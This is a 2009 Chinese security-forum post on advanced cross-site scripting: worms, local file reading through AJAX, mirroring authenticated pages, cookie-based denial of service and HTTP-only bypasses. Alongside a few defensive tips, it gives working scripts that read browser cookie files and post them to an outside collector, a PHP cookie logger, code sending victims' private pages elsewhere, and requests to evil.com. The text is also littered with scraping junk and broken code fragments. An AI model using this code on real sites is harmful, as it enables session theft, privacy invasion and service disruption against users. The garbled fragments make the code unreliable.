XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
8 N4 m/ U6 `% L( l3 C本帖最后由 racle 于 2009-5-30 09:19 编辑
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1 I, w4 F/ l, C7 j6 A- M, b4 rXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
6 Y! M7 x3 l2 WBy racle@tian6.com
( E& G( H! i5 x _http://bbs.tian6.com/thread-12711-1-1.html/ [; m5 y5 @* p. C* U
转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------
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$ G Z2 P6 l; s3 z) X本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文." p8 ~+ J9 R" Y& P( _. r& q+ g+ D% V8 i
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- Q' Q' ]! p# v2 B% G如果你还未具备基础XSS知识,以下几个文章建议拜读:
+ V5 A- f4 d9 g! S b9 }http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
' z5 j2 r: }; E+ khttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全$ I0 @* `, N" C' L2 z2 [8 L$ i
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码+ O `; f4 T4 F2 X+ o- p
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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; q! A" H9 j1 y( ?2 Q- E, E如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.2 c% M( X- [/ }4 k6 G1 o Z
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.! R1 n* _2 G+ Z! W8 v
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化, z0 G4 b+ ]% G* W; t9 O& y% L3 T
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大0 Z4 \/ b1 e8 T2 @
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QQ ZONE,校内网XSS 感染过万QQ ZONE., ?; K( o8 D+ ]. `: D9 v
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪( l8 J* K1 L1 O3 D3 K
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..........
0 v. J: |2 v( L0 S+ u复制代码------------------------------------------介绍-------------------------------------------------------------! x( Z7 Y& }8 q8 _
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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. t7 l. y' x+ ?9 @# q跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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5 @0 L5 Z% Z3 O# S3 u! S( K3 V如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
" u' ]/ |+ @0 y复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
0 x& z2 w% j# A. }, D) M我们在这里重点探讨以下几个问题:
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, n- S9 y& K% }* w1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.% y8 H9 o* s" {3 y+ s k
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.4 \/ W( O y7 l) i
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
$ ~. I; y0 z" e复制代码XSS漏洞在输出和输入两个方面怎么才能避免.# s! k! \/ c, Z$ H( W0 Y6 D) M! i
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.- K Z) x" C6 o& N
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
$ ~) w: V9 | v! V3 l, Z! ^$ }3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.( M' k f1 M& P7 P( a- L
4:Http-only可以采用作为COOKIES保护方式之一.0 h1 D+ ~9 ?! W6 P; y
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! }+ x$ }' p/ K7 N( {, E(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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. k9 y! w3 @( \5 F/ Y+ ^) I6 }我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)" |7 L& Z3 `; ]* Q9 Z) o
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。" P, y* E# q) I# i# l3 \
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。+ A" N# W2 j2 p* A" g% c
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3 N0 R' {+ R6 ?# o% Z- [! } 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.# k0 W8 p5 E0 C% J( p9 N
复制代码IE6使用ajax读取本地文件 <script>
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function ajax_obj(){$ H1 A, H) ^) U4 s0 O4 e+ A4 Z" c- S
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var request = false;0 H& q' M% W, s: s# W8 N( z
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} else if(window.ActiveXObject) {5 Y# W8 \. E. ^, U$ Q v
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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try {
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request = new ActiveXObject(versions);5 C% S3 W9 I8 ^3 r: f8 O
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} catch(e) {}1 _1 Y% m9 M; ^# w I7 J9 I& D
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return request;9 ?0 [2 T) O. F/ T
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function _7or3(_m,action,argv){
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");8 s3 q) d' |: V
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_x.send(argv);$ D3 C+ z# C# P! p6 X
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% e9 s+ P! \3 P+ Q6 Z1 O+ b+ } var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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1 Q+ x7 A7 V8 H </script>+ l- y" h8 R- Z6 f r! _, a/ I
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function $(x){return document.getElementById(x)}3 |8 X8 V) @! V2 A) ] V! }
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function ajax_obj(){
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request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {2 Q; f9 S7 v! B$ I
4 Q% w, j' o, B! F6 S4 c var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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( S; b( [$ w8 T 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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} catch(e) {}' ~' T. ^1 K8 v& T0 ~
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return request;
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}
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var _x = ajax_obj();; j2 U5 M& U: z8 j4 X
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function _7or3(_m,action,argv){* G0 ~, j+ m& l% ?% F
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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return _x.responseText;( a3 Q# ] `8 \ o6 S# _3 {' u
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var txt=_7or3("GET","1/11.txt",null);
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alert(txt);
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</script>; i1 `0 K+ u2 R8 c
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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/*
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+ [% r$ Q- A. J( X, v' h Chrome 1.0.154.53 use ajax read local txt file and upload exp # _3 T) \" H0 H( Y3 k) j( E
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www.inbreak.net 3 C) a5 |$ |4 x( K' w z3 G6 L
( R- ?9 i! P+ d+ ? author voidloafer@gmail.com 2009-4-22 $ R( W! }) p3 r+ U( m. r
1 Z) c" {8 b w0 v3 h! e5 O http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. \& [4 w6 S2 {4 R" ~
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a' c/ L3 F0 e7 V0 A' v4 Sheader("Content-Disposition: attachment;filename=kxlzx.htm"); 9 K# R ^' y0 {( I, S! o8 `
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header("Content-type: application/kxlzx"); - U! t* _5 p) n/ h* q8 P' b8 o; w" U
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; p1 }0 e. H/ J5 n: |6 h' O$ |" y9 V$ D set header, so just download html file,and open it at local.
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden">
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</form> 5 l7 W }3 z: B4 A+ x3 m
% a& q, s" @ j% w, d8 G9 C7 j<script>
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function doMyAjax(user) 7 q' `0 c. ~' ], _+ b
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" z/ E: w+ \# c1 I4 K- ?# D; }$ ]var time = Math.random(); ! Z+ o7 i+ V6 q
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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4 o# ^5 c/ d! X! I. `- kand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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0 V( F. y3 L# ?6 X7 s1 W+ Oand so on... 5 q9 ]4 k/ l$ s( j8 E* B5 m
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*/ ) o$ @. B) v. Z
8 z! w4 s% n0 a2 ]- ~8 g6 z2 Mvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 3 L/ W, e7 }: h3 a; A( v" Y# s& D3 e* k
, N. U6 x# Y+ {% {8 b4 o8 [
0 u: @- I$ N# B; T
, U. J9 {( j: { X4 g S* H& WstartRequest(strPer);
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s) a# }1 [+ q+ G
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* ~! q H( y5 x: u, ?( g' d5 l
$ ?" I/ K6 i) Pfunction Enshellcode(txt) 6 {* B8 W4 ]. G
5 B" E9 k: h& N{
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var url=new String(txt);
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var i=0,l=0,k=0,curl="";
5 N- L9 Z0 {' H
/ v& J# W- p; wl= url.length;
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for(;i<l;i++){
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* r* v: J' |3 ?7 z$ K1 K2 ak=url.charCodeAt(i); ! l! T7 A1 k! E u8 _" R3 g( \
( Y8 g0 j N5 n( ~* S7 r' l5 j* K% v/ b% kif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} ( P7 e2 q% N4 s. F# p6 S3 E* _7 A
' b- T1 r& w5 O0 S, Pif (l%2){curl+="00";}else{curl+="0000";} 4 C8 H2 H4 _% s* N/ z+ j4 D8 K( K
7 ^; {& O, J, ^. H* y, t5 g% j Tcurl=curl.replace(/(..)(..)/g,"%u$2$1"); & n4 |+ T# \7 {% e8 k2 y: K
: }3 Q# z! E4 E" treturn curl;
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} 2 x) R5 N1 H. k; ~/ ^
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var xmlHttp; % K4 W- W/ H- _
& I$ e0 h& I4 N Q/ w
function createXMLHttp(){ 4 m( @' N7 w9 Z$ f
! t ^( k7 F1 c+ @- w! f1 [ if(window.XMLHttpRequest){
+ U& c( {. I) o: ^
! A2 Q& ^8 l) m4 F8 q7 ~( a8 cxmlHttp = new XMLHttpRequest(); # w J$ {3 X! R& s
- `2 x' g. n' C, L
} 7 \ i' r1 H( `* f2 R: H# l
& f5 I1 |8 r( d9 H else if(window.ActiveXObject){
+ @. H2 f, b& C% v1 ^7 l* }8 `' e& z3 N/ n R! _. m. F7 k
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); : E# `* V& v6 b9 x
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}
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}
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0 f6 R) v3 x" q- E' a0 p# m0 w e3 ]function startRequest(doUrl){
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& {, N7 y4 H, |7 o& t ?
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createXMLHttp(); + Y7 O* b8 x8 K/ O I
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2 ]) @ A3 e1 R7 ~9 j7 F! T xmlHttp.onreadystatechange = handleStateChange; & G& i3 g8 q% Q8 y$ _" W2 }
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xmlHttp.open("GET", doUrl, true);
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0 {# g1 j+ J+ R6 f: F3 T xmlHttp.send(null);
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* b6 z- r4 E% n9 Z}
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function handleStateChange(){
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if (xmlHttp.readyState == 4 ){ $ H0 H( t2 ~3 N; p% b1 L. {
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var strResponse = ""; % l1 Z$ Q0 X# _- [/ Z; ^
: \8 U+ I4 @5 c0 ], E" Q0 R8 q setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); + W7 g% m3 `* e* T4 y
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$ G# G/ ?, V+ M* H, {$ _! `0 j
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6 w, Z6 w: o, H& t8 W. s' y% l
3 q% b+ ^; w3 N' p0 x) M! p
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function framekxlzxPost(text)
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{ 5 q+ Y% b% d3 m0 v6 m9 Z; ~
* s0 ?' [7 t [1 f document.getElementById("input").value = Enshellcode(text); ) l- _2 X% ]+ g5 N
7 @+ `) o5 _2 F0 }" Z3 B9 ~& L9 U
document.getElementById("form").submit(); 6 ^4 d$ ?+ ? s$ _1 _4 E {. s* ?
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} , L9 s0 n: I) z( f+ ]
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doMyAjax("administrator"); C/ [+ s! o7 X' X: }
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. U: r+ D$ i c' W5 J/ F</script>
8 `" Y4 l/ X# q4 H复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp;
2 o* {; R: J n' h
& V* C ?. `3 U- Y _/ e5 c* [function createXMLHttp(){
2 o" g' R& r6 c# |6 a- l; ~, f. \% L7 [& |" [
if(window.XMLHttpRequest){
7 B6 t0 C# s, \7 y8 ^( j( x% w: @) P( E+ n- A; [5 ]1 A3 \+ x7 ^/ p
xmlHttp = new XMLHttpRequest(); * B' e0 | }1 N2 U [4 n
% f9 \+ j. {2 a4 a
} + T8 o8 @, h+ A6 P6 j$ U
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else if(window.ActiveXObject){ % C) B' Q# \' |% D
2 Q K" X$ l% y, O* Q `4 I xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
% I: w4 i7 _, ~ [' Z( ]; w, ^8 e0 s: E, c5 ~$ k# ^' H% b
}
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# i- g' c2 B( D9 ?5 \0 E}
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8 D8 u! N7 g, n7 v
function startRequest(doUrl){ 5 L1 I% R* V; g# t
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^( m6 Q! _/ A; U; M7 ?& ^2 a
g, @' n( W# E9 t, M4 q( ] createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange;
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: h( V$ U% v( E- s/ P3 ^ xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null); ( N9 W# g" Z/ T
+ O( ^% y! U$ e) Y, N; }/ ^
! o* j1 g; `- o6 R; N, {
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P8 U9 a- F& g9 d6 z' G# i* D0 I, C7 z6 Y5 J) P. N% a' l
} & |- J- W' h( Q/ b1 |6 r9 X, O
2 `4 a" G7 u6 j+ |
- q' w& n9 a6 j- [
2 }9 K9 d3 v/ v9 zfunction handleStateChange(){
7 l9 w5 o7 i$ |3 R) E c$ V
7 f- k% ~% B& k& n; p8 Y: y: [ if (xmlHttp.readyState == 4 ){
/ w. d2 t/ b/ E
) z5 u: }' T5 n: f1 i, _6 Y3 C var strResponse = ""; & \. q7 L0 X( h) j; p, z
4 s1 i+ E$ W( s0 H3 ~
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); 3 J, Q7 ~9 Y/ H6 \0 c
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} 1 r6 e+ c1 R; q3 ^; t @
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function doMyAjax(user,file)
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- v- N4 M- ] |9 G2 s# i2 x5 {8 |2 Y var time = Math.random();
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7 n/ \( s9 f" D7 C var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
$ K& `" I. ?! `/ b( c: S- R! w ]5 I( J, w- d
6 n$ I5 Y7 m* U
6 [; H/ Q6 @8 E! [. n8 W startRequest(strPer); * I2 _- _; q+ W7 V8 ?! K% }
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& K9 p. i6 O/ F0 i# `} i0 U4 n6 w/ V! \% f! K! ]/ X' q
$ e# l- H9 y+ _. A : R/ W. [6 O' u/ V) U4 Q7 t
6 Y+ R" t+ X/ m) E/ G- Mfunction framekxlzxPost(text)
4 ]1 W8 d9 j9 ]8 Z5 G' H
& P8 ]' P ?% w0 T+ b{
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+ I( ]' v9 R5 Q: L8 W; E# I document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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alert(/ok/);
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doMyAjax('administrator','administrator@alibaba[1].txt'); 0 ?' \! p5 l9 k" P0 E3 Q K
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0 _% ^. A. C( K9 a5 V4 D& B( o" a</script>2 v! C1 m A) q9 E5 ^
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) _: v8 T& S( E& g3 L$ e5 ya.php
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<?php
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+ A: ~) D$ ]3 W# {) E) w8 W% Q/ q4 ^
& o% b8 p ~# x. k: w5 V$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; * O: ?- P8 M( k( @1 H( e! t
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+ S8 j) u1 }( t- u
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); ! ]2 H* S6 n1 t0 N/ A* L. T9 w
' b* U: e3 {3 }( k) E- Gfwrite($fp,$_GET["cookie"]); 2 J2 j1 \7 `6 R& M) @$ r. w! X
; z# m( U$ A, c' P4 W1 X# F
fclose($fp);
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?>
0 A0 K% H. }' c) H2 e0 ^复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:# j1 ~- z) R; z$ I) S+ c5 q
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
5 s2 u& g$ x, n4 i1 h利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);0 M' q+ A8 o3 t7 m) b" a6 o8 z
6 t3 _: x( f5 D# ^9 |//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);6 [9 b1 j( C3 ]
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function getURL(s) {
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var image = new Image();
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image.style.width = 0;
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image.style.height = 0;" A7 B1 q3 q# R$ @: |
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image.src = s;& ?( @5 Y# v- X% |$ s
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3 y" Z/ I$ Q) ?. a7 V- ^; _/ QgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
% } ?# j9 u* L$ K5 g9 n2 ]复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
' S. I0 i5 {2 Z3 T4 ^% ~& S+ @这里引用大风的一段简单代码:<script language="javascript">. M. S$ y2 |& ]2 K
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var metastr = "AAAAAAAAAA"; // 10 A4 `5 D$ y5 @/ `, [3 |# v/ h8 o; i
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var str = "";1 @7 A* }3 X5 B4 d# Y9 k
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while (str.length < 4000){! Y+ K3 y. I( r5 H, j& I
8 l k* E8 i4 n# U
str += metastr;# Y4 i8 Y% b9 F- B" h! M! {
8 Y) F3 b& D* T Y$ o8 c$ B}
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6 q8 G7 X! C7 M2 s( Wdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS0 }* v8 ^5 B+ V$ h+ w# y" ?
" J( {, B- P+ e( H</script>0 I* ]6 t; d3 t3 M* J n$ V2 \6 P8 L
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html7 H9 s9 F$ r" ?( n
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
9 s6 k. y; O- d& n3 E" q( f Z$ Vserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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3 P# @# Y0 j8 d; T2 F5 m假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.' J; O* N$ C7 x) R
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:+ o3 _8 a9 u! l
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.. v/ m C7 {# Y2 O. J. U& B5 t
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">" ~& z2 D5 l4 E- o5 o
( w1 d5 v! ~5 b5 B<!--7 C$ E! _) m' e0 _* p' f D
5 z7 L" f( Z& S, R4 S6 s. p5 Efunction normalCookie() { ! [8 N% l4 d/ ^
) z [! ^+ U4 r* ?3 H+ i
document.cookie = "TheCookieName=CookieValue_httpOnly"; 1 w. Y+ K$ N$ I4 W7 r
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alert(document.cookie);
3 p* y: x3 n. l! N. e
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0 t4 F' ^5 |0 afunction httpOnlyCookie() { 3 c4 q# N, o- \: s" `8 c
6 y3 }7 w- F* Q$ m1 U8 wdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
* ]$ N1 S1 c# m, j f# e
4 R/ ^7 m a3 n$ @! Q) i3 t5 y* }alert(document.cookie);}' G8 D [7 \' R% v
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//-->, M9 O" _/ s) |) I; V0 ~! N
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</script>
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>6 e6 ^/ S* c5 J1 d
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>( X( L, F, P: t' I: W
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, @) W4 ?: |) r: K3 v4 Q! V
. X; n+ q( s" g) evar request = false;
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if(window.XMLHttpRequest) {
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2 S; E5 e3 d6 k: u0 [& V7 ?8 z request = new XMLHttpRequest();! g' {; J% O E) g
* a J6 P5 A0 l4 k& p5 |" P, Z9 e if(request.overrideMimeType) {2 A+ F9 Q6 G* K2 m( S) m
/ }; ~1 p/ e. \. K6 d
request.overrideMimeType('text/xml');
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}
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/ z7 ?/ h* u0 J } else if(window.ActiveXObject) {
+ I' }% v* \8 ` E& F
) m; ]* C/ S% q( t9 r/ F var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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# I+ R+ f% K- f/ o( h8 Z for(var i=0; i<versions.length; i++) {
* G# Z& U$ w/ ]3 O# t7 |# b# \
try {
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3 A& m6 f7 L- H9 @/ Y request = new ActiveXObject(versions);5 \7 y" w: B) }; z; g: M N$ ^
8 x% N. @+ D3 ~" \) X1 r. w! \$ f
} catch(e) {}' P$ ]; S: A8 x: D% L+ s
8 s0 \7 E9 x9 l
}
' T V' F7 s' ]$ Y3 m+ f
" k c5 p( ]9 C% D }$ N3 }4 i% H0 O5 J* T: z
% V2 A$ w/ i( h7 S9 [* t7 QxmlHttp=request;2 j8 t% g, ~ y* D
4 g; u9 \7 K4 ?2 J& J( |7 N" {xmlHttp.open("TRACE","http://www.vul.com",false);! J1 n3 y" v8 ~$ F! Q& w+ N8 J2 M
! z- B `, V" q) Q; D9 [/ d
xmlHttp.send(null);
9 ]) _- W2 E$ s) F1 L) j" x }
7 G5 l B( ]- e7 c; b+ `1 ixmlDoc=xmlHttp.responseText;
9 }( y" r+ V1 U- N2 w, \" M
* } d4 ?, }; |0 n, ualert(xmlDoc);
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</script>4 W2 D' A o/ D* O3 F
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
" \4 M2 V9 F6 m {
7 k! l7 _; ]$ f' g+ dvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");' Q' `7 |/ y2 k2 X0 V# ^' ?* P
3 w9 b" ? w/ o, K; p$ qXmlHttp.open("GET","http://www.google.com",false);/ y" s& `; v T9 H
# x7 ~3 h. S4 w$ @$ EXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
0 ~9 Q) k3 i! K5 i
6 @$ I8 ~+ w. kXmlHttp.send(null);
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var resource=xmlHttp.responseText0 n3 _/ R6 L* M+ Y' o5 C
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resource.search(/cookies/);
1 M; [# Z1 I: [, y& C- r
( h; W7 \- Z9 y: I2 n) r......................$ l( Q( j& V# @4 w6 V, T' A/ N- |
" I) y9 c. d. H+ Y( T
</script>7 k% m I \1 R7 l5 ]8 ?! ] ]
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K: a8 ?! |; m4 s5 b5 K" L- i
* w. f1 P9 v: \' t L! ]4 j如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
, h* x: c4 W" h( K3 A J+ S
* o9 K2 J* Z" ]; p, g[code]
1 b/ W! \5 F. S+ m. A7 z$ i" M$ P* Z1 ?- ]9 B
RewriteEngine On
3 u- S- U `6 o
" ^5 p/ w4 D9 q" MRewriteCond %{REQUEST_METHOD} ^TRACE5 j. J9 Q0 R- c$ h* N
$ u0 s# Z! p- ZRewriteRule .* - [F]; @3 \! E) y: m5 _: @
: K: [2 d5 J9 B4 t0 R ^* b
0 q+ r0 T& v/ p- H* a
0 H! O! d$ l' ]' w8 @Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求5 G+ O7 z5 D: S: g. T
' p+ F2 Z6 [4 q q) i+ ~
acl TRACE method TRACE$ o [1 D' v, S, s! B
5 T' W/ w m' h0 s+ q: ~ P& M
...0 `( s) W |1 @7 F+ n4 b1 }
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http_access deny TRACE
, e2 G& ^5 C5 \) T5 _: o9 i复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");' P1 z+ T/ ^# p
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");/ a2 c7 n) f- F' c6 t( \
+ m1 b' d2 B# e1 Z6 \
XmlHttp.send(null);; G2 d* x* K6 x
$ S6 X' a6 U$ D</script>
; A$ L! |0 I5 j; ?# t复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>% H( W6 K! y1 L0 E% \# c) q
+ l. I# U2 t3 S7 p( \var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");4 L5 P4 L3 r3 _1 Z: b3 z; ?. g
0 L% z7 \; s6 X# E
4 f, A: Q9 o# f0 N/ Z" v, f9 ] H' L9 q) Y7 w
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);3 u6 I7 ?# O, b" R7 x6 a5 e
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XmlHttp.send(null);. C+ }' t2 W; P! E% R; M
6 u4 O- Y/ c3 q! e. P" F7 p6 H<script>9 @$ s8 E) p( l% f, l
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
4 u- q' N6 t, M* ]9 u. n( {) ~复制代码案例:Twitter 蠕蟲五度發威
y1 R+ o9 N" r! {第一版:7 D+ h$ B- h- w- I% P5 q
下载 (5.1 KB). {2 j* @0 R1 B& ^% B) x
t; M4 b% a b) \% D' H6 天前 08:27 ]( z0 ]3 K: R! @& l: P. D
5 j# `+ w( v% j' e# f* W
